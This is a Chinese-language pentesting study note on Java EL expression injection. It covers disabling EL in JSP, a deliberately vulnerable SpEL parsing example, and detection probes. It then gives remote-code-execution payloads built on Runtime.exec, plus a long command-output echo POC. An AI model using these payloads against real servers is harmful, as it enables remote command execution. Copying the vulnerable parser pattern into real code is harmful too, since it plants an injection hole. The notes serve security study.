参考文章:https://xz.aliyun.com/t/7692

EL表达式

EL(Expression Language) 是为了使JSP写起来更加简单。表达式语言的灵感来自于 ECMAScript 和 XPath 表达式语言,它提供了在 JSP 中简化表达式的方法,让Jsp的代码更加简化。
个人理解只是JSP的另一种形式,功能和权限不会超过JSP.
语法直接看参考文章即可
JSP中启用/禁用EL表达式:

  1. 全局禁用: 在web.xml中配置 el-ignored=true

    1. <jsp-config>
    2. <jsp-property-group>
    3. <url-pattern>*.jsp</url-pattern>
    4. <el-ignored>true</el-ignored>
    5. </jsp-property-group>
    6. </jsp-config>
  2. 单个文件禁用

    1. <%@ page isELIgnored="true" %>

    该语句表示是否禁用EL表达式,TRUE表示禁止,FALSE表示不禁止。

    EL表达式注入

    漏洞成因

    EL表达式注入产生的场景一般都是用户自己添加的标签实现存在漏洞.或者自己添加的函数存在漏洞?

    只是我搜到的大概都是这样的额?

这里看两个例子:

  1. createValueExpression引起的.

参考 https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf
jsp里引入了一个用户实现的obj, obj.bingo调用了createValueExpression => EL注入
image.png

image.png

  1. parseExpression参数可控导致的EL表达式注入漏洞

来自 https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/el-expression-language

  1. import org.springframework.expression.Expression;
  2. import org.springframework.expression.ExpressionParser;
  3. import org.springframework.expression.spel.standard.SpelExpressionParser;
  4. public class Main {
  5. public static ExpressionParser PARSER;
  6. public static void main(String[] args) throws Exception {
  7. PARSER = new SpelExpressionParser();
  8. System.out.println("Enter a String to evaluate:");
  9. java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
  10. String input = stdin.readLine();
  11. Expression exp = PARSER.parseExpression(input);
  12. String result = exp.getValue().toString();
  13. System.out.println(result);
  14. }
  15. }

挖掘思路?

关注xxxExpression这样的方法, 然后找类似的类引用.

检测?

类似SSTI的测试, 见到参数回显到页面上就可以试试 如下的poc:

  1. ${99999+1}
  2. #{7+7}
  3. ${{7*7}}
  4. ${{'abc'.toUpperCase()}}
  5. ${{'abc'.concat('def')}}
  6. ${{'a'.getClass()}}
  7. ${{ request }}
  8. ${{ session }}
  9. ${pageContext}

利用

  1. 命令执行 ```java ${Runtime.getRuntime().exec(“calc.exe”)} ${“”.getClass().forName(“java.lang.Runtime”).getMethods()[6].invoke(“”.getClass().forName(“java.lang.Runtime”)).exec(“calc.exe”)}

${pageContext.setAttribute(“a”,””.getClass().forName(“java.lang.Runtime”).getMethod(“exec”,””.getClass()).invoke(“”.getClass().forName(“java.lang.Runtime”).getMethod(“getRuntime”).invoke(null),”calc.exe”))}

${‘’.getClass().forName(“javax.script.ScriptEngineManager”).newInstance().getEngineByName(“JavaScript”).eval(“java.lang.Runtime.getRuntime().exec(‘calc’)”)}

  1. > payload均未测试.
  2. 2. 普通EL表达式命令回显的简单研究 [https://forum.butian.net/share/886](https://forum.butian.net/share/886)
  3. 贴一个最终的POC:
  4. ```java
  5. ${pageContext.setAttribute("inputStream", Runtime.getRuntime().exec("cmd /c dir").getInputStream());Thread.sleep(1000);pageContext.setAttribute("inputStreamAvailable", pageContext.getAttribute("inputStream").available());pageContext.setAttribute("byteBufferClass", Class.forName("java.nio.ByteBuffer"));pageContext.setAttribute("allocateMethod", pageContext.getAttribute("byteBufferClass").getMethod("allocate", Integer.TYPE));pageContext.setAttribute("heapByteBuffer", pageContext.getAttribute("allocateMethod").invoke(null, pageContext.getAttribute("inputStreamAvailable")));pageContext.getAttribute("inputStream").read(pageContext.getAttribute("heapByteBuffer").array(), 0, pageContext.getAttribute("inputStreamAvailable"));pageContext.setAttribute("byteArrType", pageContext.getAttribute("heapByteBuffer").array().getClass());pageContext.setAttribute("stringClass", Class.forName("java.lang.String"));pageContext.setAttribute("stringConstructor", pageContext.getAttribute("stringClass").getConstructor(pageContext.getAttribute("byteArrType")));pageContext.setAttribute("stringRes", pageContext.getAttribute("stringConstructor").newInstance(pageContext.getAttribute("heapByteBuffer").array()));pageContext.getAttribute("stringRes")}